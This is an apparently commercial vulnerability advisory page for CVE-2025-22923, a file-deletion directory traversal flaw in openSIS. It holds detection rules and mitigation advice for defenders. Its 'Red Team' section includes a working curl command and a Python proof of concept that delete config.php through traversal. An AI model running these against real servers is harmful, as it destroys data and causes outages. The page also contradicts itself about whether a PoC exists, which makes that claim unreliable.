☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-22923

CVE-2025-22923 Directory Traversal in Os4ed
📅 PUBLISHED: 2025-04-02 00:00 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.85%
👁️
0.85% probability
21.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22923 is a critical directory traversal vulnerability affecting OS4ED openSIS versions 8.0 through 9.1. An unauthenticated attacker can exploit this flaw by sending a crafted POST request to the /Modules.php?modname=users/Staff.php&removefile endpoint, allowing arbitrary file deletion on the server. This can lead to denial of service, data loss, or potential privilege escalation if critical system files are removed. The vulnerability is publicly known with proof-of-concept code available, but no official patch has been released by the vendor. Immediate mitigation measures are required.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated, remote, file deletion), a reasonable assessment is:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): None (N)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Estimated CVSS Score: 9.1 (Critical)

The threat level is Critical due to the ease of exploitation, lack of authentication, and potential for severe impact on system integrity and availability.

Deep Dive & Mechanics

The vulnerability resides in the Modules.php script, specifically within the users/Staff.php module's file removal functionality. The application fails to properly sanitize user-supplied input passed via the removefile parameter. An attacker can inject path traversal sequences (e.g., ../) to navigate outside the intended directory and delete arbitrary files.

Root Cause: The application does not validate or sanitize the removefile parameter before using it in a file deletion operation (likely unlink() or similar). This allows an attacker to specify any file path on the server.

Attack Flow:

  1. The attacker sends a POST request to /Modules.php?modname=users/Staff.php&removefile.
  2. The removefile parameter contains a path traversal payload, e.g., ../../../../etc/passwd.
  3. The application processes the request and deletes the specified file.
  4. The attacker can delete critical system files, configuration files, or application data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$file = $_POST['removefile'];
unlink($file); // No sanitization
?>

Patched Code (Conceptual):

<?php
$file = basename($_POST['removefile']); // Strip path components
$allowed_dir = '/var/www/html/uploads/';
$file_path = $allowed_dir . $file;
if (strpos(realpath($file_path), $allowed_dir) === 0) {
    unlink($file_path);
} else {
    // Invalid file
}
?>

The patched version uses basename() to remove directory components and validates that the resolved path is within an allowed directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running openSIS v8.0 to v9.1
  • Network access to the web interface

Exploit Steps:

  1. Identify the target openSIS instance.
  2. Send a crafted POST request to delete a critical file, e.g., config.php:
    curl -X POST "http://target/Modules.php?modname=users/Staff.php&removefile" \
    -d "removefile=../../config.php"
    
  3. Verify deletion by attempting to access the application.

Proof-of-Concept (Python):

import requests

target = "http://target/Modules.php?modname=users/Staff.php&removefile"
payload = {"removefile": "../../config.php"}
response = requests.post(target, data=payload)
print(f"Status: {response.status_code}")

Blue Team (Detection & Mitigation)

Detection:

  • Monitor web server logs for POST requests to /Modules.php with modname=users/Staff.php and removefile parameter containing path traversal patterns (e.g., ../, ..\\).
  • Alert on any file deletion operations outside the application's intended directories.

Mitigation:

  • Apply input validation and sanitization to the removefile parameter.
  • Restrict web server permissions to prevent deletion of critical system files.
  • Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
  • If possible, disable the file removal functionality until a patch is available.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /Modules.php?modname=users/Staff.php&removefile with path traversal sequences.
    • Unusual HTTP 200 responses to file deletion requests.
  • File System:
    • Unexpected deletion of files such as config.php, .htaccess, index.php, or system files.
    • Missing application configuration files.
  • Logs:
    • Web server access logs showing removefile=../../ patterns.
    • Application error logs indicating failed file operations.

Detection Engineering

YARA Rule

rule CVE_2025_22923_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting openSIS CVE-2025-22923"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22923"
    strings:
        $traversal1 = "removefile=.." ascii nocase
        $traversal2 = "removefile=%2e%2e" ascii nocase
        $endpoint = "Modules.php?modname=users/Staff.php" ascii nocase
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-22923 - openSIS Directory Traversal File Deletion
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to openSIS with path traversal in removefile parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'Modules.php?modname=users/Staff.php&removefile'
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate file removal within allowed directories (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22923 - openSIS Directory Traversal File Deletion"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"Modules.php?modname=users/Staff.php&removefile"; http.client_body; content:".."; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the file removal functionality by removing or commenting out the relevant code in Modules.php and users/Staff.php.
  2. Input Validation: Implement strict input validation for the removefile parameter. Use basename() and realpath() to ensure the file is within an allowed directory.
  3. Web Server Hardening: Configure the web server to run with minimal privileges, preventing deletion of system files.
  4. WAF Rules: Deploy WAF rules to block requests containing path traversal patterns in the removefile parameter.
  5. Monitor: Continuously monitor logs for exploitation attempts.
  6. Patch: Await an official patch from OS4ED. If unavailable, consider migrating to a different student information system.

Valters IT - Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22923/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.